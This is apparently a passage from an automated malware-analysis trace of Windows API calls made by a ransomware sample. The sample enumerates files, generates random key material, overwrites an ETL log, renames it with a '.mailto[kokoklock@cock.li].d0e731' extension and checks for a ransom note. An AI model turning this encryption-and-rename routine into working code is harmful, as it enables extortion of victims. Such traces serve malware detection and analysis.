returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0080.955] wcscat (in: _Dest=0x34801b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0080.955] wcscat (in: _Dest=0x34801b0, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*" [0080.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac550 [0080.955] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*", lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e02d8 [0080.956] wcscmp (_String1=".", _String2=".") returned 0 [0080.956] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.956] wcscmp (_String1="..", _String2=".") returned 1 [0080.956] wcscmp (_String1="..", _String2="..") returned 0 [0080.956] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe-desktop.css", cAlternateFileName="OOBE-D~1.CSS")) returned 1 [0080.956] wcscmp (_String1="oobe-desktop.css", _String2=".") returned 1 [0080.956] wcscmp (_String1="oobe-desktop.css", _String2="..") returned 1 [0080.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x348b388 [0080.956] wcscpy (in: _Dest=0x348b388, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0080.956] wcscat (in: _Dest=0x348b388, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0080.956] wcscat (in: _Dest=0x348b388, _Source="oobe-desktop.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" [0082.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348b388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638 [0082.969] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-dark.css", cAlternateFileName="")) returned 1 [0082.969] wcscmp (_String1="ui-dark.css", _String2=".") returned 1 [0082.969] wcscmp (_String1="ui-dark.css", _String2="..") returned 1 [0082.969] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2de0 [0082.969] wcscpy (in: _Dest=0x33e2de0, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0082.969] wcscat (in: _Dest=0x33e2de0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\" [0082.969] wcscat (in: _Dest=0x33e2de0, _Source="ui-dark.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\ui-dark.css" [0082.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0082.970] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34ac550 | out: lpFindFileData=0x34ac550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x41b67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-dark.css", cAlternateFileName="")) returned 0 [0082.970] FindClose (in: hFindFile=0x33e02d8 | out: hFindFile=0x33e02d8) returned 1 [0082.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac550) returned 1 [0082.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801b0) returned 1 [0082.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0082.970] RtlExitUserThread (Status=0x0) Thread: id = 1034 os_tid = 0x172c [0080.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3480228 [0080.957] wcscpy (in: _Dest=0x3480228, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0080.957] wcscat (in: _Dest=0x3480228, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0080.957] wcscat (in: _Dest=0x3480228, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*" [0080.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ac7b8 [0080.957] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*", lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0318 [0080.957] wcscmp (_String1=".", _String2=".") returned 0 [0080.957] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea61ff59, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.957] wcscmp (_String1="..", _String2=".") returned 1 [0080.957] wcscmp (_String1="..", _String2="..") returned 0 [0080.957] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1395c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.js", cAlternateFileName="")) returned 1 [0080.957] wcscmp (_String1="base.js", _String2=".") returned 1 [0080.958] wcscmp (_String1="base.js", _String2="..") returned 1 [0080.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccb70 [0080.958] wcscpy (in: _Dest=0x33ccb70, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0080.958] wcscat (in: _Dest=0x33ccb70, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0080.958] wcscat (in: _Dest=0x33ccb70, _Source="base.js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" [0082.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccb70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0082.966] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui.js", cAlternateFileName="")) returned 1 [0082.966] wcscmp (_String1="ui.js", _String2=".") returned 1 [0082.966] wcscmp (_String1="ui.js", _String2="..") returned 1 [0082.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd3f0 [0082.966] wcscpy (in: _Dest=0x33cd3f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0082.966] wcscat (in: _Dest=0x33cd3f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\" [0082.966] wcscat (in: _Dest=0x33cd3f0, _Source="ui.js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" [0082.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0082.967] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x34ac7b8 | out: lpFindFileData=0x34ac7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui.js", cAlternateFileName="")) returned 0 [0082.967] FindClose (in: hFindFile=0x33e0318 | out: hFindFile=0x33e0318) returned 1 [0082.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ac7b8) returned 1 [0082.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0082.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e340) returned 1 [0082.967] RtlExitUserThread (Status=0x0) Thread: id = 1035 os_tid = 0x1730 [0080.958] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl")) returned 0x2020 [0080.959] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl", dwFileAttributes=0x20) returned 1 [0080.959] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0080.959] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x252bfaa0 | out: lpFileSize=0x252bfaa0*=8192) returned 1 [0080.959] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.959] ReadFile (in: hFile=0x458, lpBuffer=0x252bfa74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x252bfa74*, lpNumberOfBytesRead=0x252bfa70*=0x4, lpOverlapped=0x0) returned 1 [0080.962] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0080.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dca8 [0080.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dc08 [0080.963] NtQuerySystemTime (in: CurrentTime=0x252bfa4c | out: CurrentTime=0x252bfa4c*=132121176388497417) returned 0x0 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x598df60f [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x4072da3 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xf738bca8 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x442c73cc [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xdfb290df [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x57f0d943 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x26975daf [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x2d2cc697 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xb0b55e1f [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xc748ecd0 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x556f277 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xc1d784e4 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x1ecfc8c8 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x5518e00e [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x42a43510 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x3704c254 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x69cfc0ea [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xd91bf0da [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xcad4b5c [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x96457c87 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xc0d7d11 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x6bc8d1d3 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x8abfa963 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x9203f800 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x14bd5d31 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x67264056 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xedbce29e [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x8e2e2de4 [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x3163aa7d [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0x2bb6080c [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xebbda10b [0080.963] RtlRandom (in: Seed=0x252bfa58 | out: Seed=0x252bfa58) returned 0xdfbb2c73 [0080.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0080.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0080.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0080.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0080.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0080.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0080.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.975] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x252bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x252bfa4c*=0x2000, lpOverlapped=0x0) returned 1 [0080.976] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x252bfa14 | out: lpNewFilePointer=0x0) returned 1 [0080.976] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x252bfa48, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x252bfa48*=0x2000, lpOverlapped=0x0) returned 1 [0080.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e0e0 [0080.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0080.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0080.976] WriteFile (in: hFile=0x458, lpBuffer=0x342e0e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x252bfa44, lpOverlapped=0x0 | out: lpBuffer=0x342e0e0*, lpNumberOfBytesWritten=0x252bfa44*=0x20, lpOverlapped=0x0) returned 1 [0080.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e0e0) returned 1 [0080.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0080.976] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0080.976] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x252bfa70*=0x8, lpOverlapped=0x0) returned 1 [0080.976] WriteFile (in: hFile=0x458, lpBuffer=0x252bfa88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x252bfa88*, lpNumberOfBytesWritten=0x252bfa70*=0x4, lpOverlapped=0x0) returned 1 [0080.977] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x252bfa70*=0x4, lpOverlapped=0x0) returned 1 [0080.977] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x252bfa70*=0x6c, lpOverlapped=0x0) returned 1 [0080.977] WriteFile (in: hFile=0x458, lpBuffer=0x342dca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x342dca8*, lpNumberOfBytesWritten=0x252bfa70*=0x20, lpOverlapped=0x0) returned 1 [0080.977] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x252bfa70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x252bfa70*=0x4, lpOverlapped=0x0) returned 1 [0080.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dca8) returned 1 [0080.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0080.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0080.977] CloseHandle (hObject=0x458) returned 1 [0080.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431cb8 [0080.977] wcscpy (in: _Dest=0x3431cb8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" [0080.977] wcscat (in: _Dest=0x3431cb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731" [0080.977] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.978] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0080.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431cb8) returned 1 [0080.978] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl", dwFileAttributes=0x2020) returned 0 [0080.978] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0080.978] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0080.978] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0080.978] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0080.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.979] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ec60) returned 1 [0080.979] RtlExitUserThread (Status=0x1) Thread: id = 1036 os_tid = 0x1734 [0080.975] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl")) returned 0x2020 [0080.981] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl", dwFileAttributes=0x20) returned 1 [0080.981] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0080.981] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2533fb90 | out: lpFileSize=0x2533fb90*=8192) returned 1 [0080.981] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.981] ReadFile (in: hFile=0x458, lpBuffer=0x2533fb64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x2533fb64*, lpNumberOfBytesRead=0x2533fb60*=0x4, lpOverlapped=0x0) returned 1 [0080.983] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e158 [0080.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e310 [0080.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e4f0 